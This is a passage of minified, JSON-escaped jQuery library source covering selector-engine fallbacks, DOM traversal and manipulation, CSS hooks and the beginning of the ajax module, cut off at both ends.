a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(o.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=m,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){m=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!m.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026o.find.CLASS\u0026\u0026e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return s([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var k=e,l=e.getAttribute(\"id\"),n=l||d,p=e.parentNode,q=/^\\s*[+~]/.test(b);l?n=n.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",n),q\u0026\u0026p\u0026\u0026(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll(\"[id='\"+n+\"'] \"+b),f)}catch(r){}finally{l||k.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;o.order.splice(1,0,\"CLASS\"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var y=function(a,b,c){var d,e=[],f=\"\",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,\"\");a=o.relative[a]?a+\"*\":a;for(var h=0,i=g.length;h\u003ci;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[\":\"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\\[\\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.POS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(T(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?Q.test(a)?f(a,this.context).index(this[0])\u003e=0:f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(d=0;d\u003ca.length;d++)f(g).is(a[d])\u0026\u0026c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(i?i.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!R[a]?f.unique(e):e,(this.length\u003e1||N.test(d))\u0026\u0026M.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var V=\"abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|style)/i,bb=/\u003c(?:script|object|embed|option|style)/i,bc=new RegExp(\"\u003c(?:\"+V+\")\",\"i\"),bd=/checked\\s*(?:[^=]|=\\s*.checked.)/i,be=/\\/(java|ecma)script/i,bf=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,bg={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!=\"object\"\u0026\u0026a!==b)return this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function()\n{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]\u0026\u0026this[0].nodeType===1?this[0].innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!bg[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(var c=0,d=this.length;c\u003cd;c++)this[c].nodeType===1\u0026\u0026(f.cleanData(this[c].getElementsByTagName(\"*\")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),\"replaceWith\",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone\u0026\u0026arguments.length===3\u0026\u0026typeof j==\"string\"\u0026\u0026bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j\u0026\u0026j.parentNode,f.support.parentNode\u0026\u0026i\u0026\u0026i.nodeType===11\u0026\u0026i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c\u0026\u0026f.nodeName(g,\"tr\");for(var l=0,m=this.length,n=m-1;l\u003cm;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m\u003e1\u0026\u0026l\u003cn?f.clone(h,!0,!0):h)}k.length\u0026\u0026f.each(k,bp)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b\u0026\u0026b[0]\u0026\u0026(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1\u0026\u0026typeof j==\"string\"\u0026\u0026j.length\u003c512\u0026\u0026i===c\u0026\u0026j.charAt(0)===\"\u003c\"\u0026\u0026!bb.test(j)\u0026\u0026(f.support.checkClone||!bd.test(j))\u0026\u0026(f.support.html5Clone||!bc.test(j))\u0026\u0026(g=!0,h=f.fragments[j],h\u0026\u0026h!==1\u0026\u0026(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g\u0026\u0026(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1\u0026\u0026this[0].parentNode;if(g\u0026\u0026g.nodeType===11\u0026\u0026g.childNodes.length===1\u0026\u0026e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h\u003ci;h++){var j=(h\u003e0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test(\"\u003c\"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)\u0026\u0026(a.nodeType===1||a.nodeType===11)\u0026\u0026!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]\u0026\u0026bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement==\"undefined\"\u0026\u0026(b=b.ownerDocument||b[0]\u0026\u0026b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k==\"number\"\u0026\u0026(k+=\"\");if(!k)continue;if(typeof k==\"string\")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");var l=(Z.exec(k)||[\"\",\"\"])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement(\"div\");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l===\"table\"\u0026\u0026!p?o.firstChild\u0026\u0026o.firstChild.childNodes:m[1]===\"\u003ctable\u003e\"\u0026\u0026!p?o.childNodes:[];for(i=q.length-1;i\u003e=0;--i)f.nodeName(q[i],\"tbody\")\u0026\u0026!q[i].childNodes.length\u0026\u0026q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace\u0026\u0026X.test(k)\u0026\u0026o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]\u0026\u0026typeof (r=k.length)==\"number\")for(i=0;i\u003cr;i++)bn(k[i]);else bn(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||be.test(a.type)};for(j=0;h[j];j++)if(e\u0026\u0026f.nodeName(h[j],\"script\")\u0026\u0026(!h[j].type||h[j].type.toLowerCase()===\"text/javascript\"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName(\"script\"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName\u0026\u0026f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b\u0026\u0026b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle\u0026\u0026(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute\u0026\u0026i.removeAttribute(f.expando),delete d[c]}}}});var bq=/alpha\\([^)]*\\)/i,br=/opacity=([^)]*)/,bs=/([A-Z]|^ms)/g,bt=/^-?\\d+(?:px)?$/i,bu=/^-?\\d/,bv=/^([\\-+])=([\\-+.\\de]+)/,bw={position:\"absolute\",visibility:\"hidden\",display:\"block\"},bx=[\"Left\",\"Right\"],by=[\"Top\",\"Bottom\"],bz,bA,bB;f.fn.css=function(a,c){if(arguments.length===2\u0026\u0026c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bz(a,\"opacity\",\"opacity\");return c===\"\"?\"1\":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":f.support.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,c,d,e){if(!!a\u0026\u0026a.nodeType!==3\u0026\u0026a.nodeType!==8\u0026\u0026!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k\u0026\u0026\"get\"in k\u0026\u0026(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h===\"string\"\u0026\u0026(g=bv.exec(d))\u0026\u0026(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h=\"number\");if(d==null||h===\"number\"\u0026\u0026isNaN(d))return;h===\"number\"\u0026\u0026!f.cssNumber[i]\u0026\u0026(d+=\"px\");if(!k||!(\"set\"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c===\"cssFloat\"\u0026\u0026(c=\"float\");if(g\u0026\u0026\"get\"in g\u0026\u0026(e=g.get(a,!0,d))!==b)return e;if(bz)return bz(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each([\"height\",\"width\"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return bC(a,b,d);f.swap(a,bw,function(){e=bC(a,b,d)});return e}},set:function(a,b){if(!bt.test(b))return b;b=parseFloat(b);if(b\u003e=0)return b+\"px\"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b\u0026\u0026a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?parseFloat(RegExp.$1)/100+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?\"alpha(opacity=\"+b*100+\")\":\"\",g=d\u0026\u0026d.filter||c.filter||\"\";c.zoom=1;if(b\u003e=1\u0026\u0026f.trim(g.replace(bq,\"\"))===\"\"){c.removeAttribute(\"filter\");if(d\u0026\u0026!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+\" \"+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:\"inline-block\"},function(){b?c=bz(a,\"margin-right\",\"marginRight\"):c=a.style.marginRight});return c}})}),c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(bA=function(a,b){var c,d,e;b=b.replace(bs,\"-$1\").toLowerCase(),(d=a.ownerDocument.defaultView)\u0026\u0026(e=d.getComputedStyle(a,null))\u0026\u0026(c=e.getPropertyValue(b),c===\"\"\u0026\u0026!f.contains(a.ownerDocument.documentElement,a)\u0026\u0026(c=f.style(a,b)));return c}),c.documentElement.currentStyle\u0026\u0026(bB=function(a,b){var c,d,e,f=a.currentStyle\u0026\u0026a.currentStyle[b],g=a.style;f===null\u0026\u0026g\u0026\u0026(e=g[b])\u0026\u0026(f=e),!bt.test(f)\u0026\u0026bu.test(f)\u0026\u0026(c=g.left,d=a.runtimeStyle\u0026\u0026a.runtimeStyle.left,d\u0026\u0026(a.runtimeStyle.left=a.currentStyle.left),g.left=b===\"fontSize\"?\"1em\":f||0,f=g.pixelLeft+\"px\",g.left=c,d\u0026\u0026(a.runtimeStyle.left=d));return f===\"\"?\"auto\":f}),bz=bA||bB,f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0\u0026\u0026c===0||!f.support.reliableHiddenOffsets\u0026\u0026(a.style\u0026\u0026a.style.display||f.css(a,\"display\"))===\"none\"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\\[\\]$/,bF=/\\r?\\n/g,bG=/#.*$/,bH=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\\/\\//,bM=/\\?/,bN=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,bO=/^(?:select|textarea)/i,bP=/\\s+/,bQ=/([?\u0026])_=[^\u0026]*/,bR=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=[\"*/\"]+[\"*\"];try{bV=e.href}catch(bY){bV=c.createElement(\"a\"),bV.href=\"\",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!=\"string\"\u0026\u0026bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(\" \");if(e\u003e=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h=\"GET\";c\u0026\u0026(f.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(c=f.param(c,f.ajaxSettings.traditional),h=\"POST\"));var i=this;f.ajax({url:a,type:h,dataType:\"html\",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()\u0026\u0026(a.done(function(a){c=a}),i.html(g?f(\"\u003cdiv\u003e\").append(c.replace(bN,\"\")).find(g):c)),d\u0026\u0026i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name\u0026\u0026!this.disabled\u0026\u0026(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,\"\\r\\n\")}}):{name:b.name,value:c.replace(bF,\"\\r\\n\")}}).get()}}),f.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each([\"get\",\"post\"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)\u0026\u0026(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,\"script\")},getJSON:function(a,b,c){return f.get(a,b,c,\"json\")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":f.parseJSON,\"text xml\":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q\u0026\u0026clearTimeout(q),p=b,n=m||\"\",v.readyState=a\u003e0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a\u003e=200\u0026\u0026a\u003c300||a===304){if(d.ifModified){if(y=v.getResponseHeader(\"Last-Modified\"))f.lastModified[k]=y;if(z=v.getResponseHeader(\"Etag\"))f.etag[k]=z}if(a===304)w=\"notmodified\",o=!0;else try{r=cc(d,x),w=\"success\",o=!0}catch(A){w=\"parsererror\",u=A}}else{u=w;if(!w||a)w=\"error\",a\u003c0\u0026\u0026(a=0)}v.status=a,v.statusText=\"\"+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t\u0026\u0026g.trigger(\"ajax\"+(o?\"Success\":\"Error\"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t\u0026\u0026(g.trigger(\"ajaxComplete\",[v,d]),--f.active||f.event.trigger(\"ajaxStop\"))}}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d\u0026\u0026(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks(\"once memory\"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||\"abort\",p\u0026\u0026p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s\u003c2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+\"\").replace(bG,\"\").replace(bL,bW[1]+\"//\"),d.dataTypes=f.trim(d.dataType||\"*\").toLowerCase().split(bP),d.crossDomain==null\u0026\u0026(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]\u0026\u0026r[2]==bW[2]\u0026\u0026(r[3]||(r[1]===\"http:\"?80:443))==(bW[3]||(bW[1]===\"http:\"?80:443)))),d.data\u0026\u0026d.processData\u0026\u0026typeof d.data!=\"string\"\u0026\u0026(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t\u0026\u0026f.active++===0\u0026\u0026f.event.trigger(\"ajaxStart\");if(!d.hasContent){d.data\u0026\u0026(d.url+=(bM.test(d.url)?\"\u0026\":\"?\")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,\"$1_=\"+x);d.url=y+(y===d.url?(bM.test(d.url)?\"\u0026\":\"?\")+\"_=\"+x:\"\")}}(d.data\u0026\u0026d.hasContent\u0026\u0026d.contentType!==!1||c.contentType)\u0026\u0026v.setRequestHeader(\"Content-Type\",d.contentType),d.ifModified\u0026\u0026(k=k||d.url,f.lastModified[k]\u0026\u0026v.setRequestHeader(\"If-Modified-Since\",f.lastModified[k]),f.etag[k]\u0026\u0026v.setRequestHeader(\"If-None-Match\",f.etag[k])),v.setRequestHeader(\"Accept\",d.dataTypes[0]\u0026\u0026d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!==\"*\"?\", \"+bX+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(u in 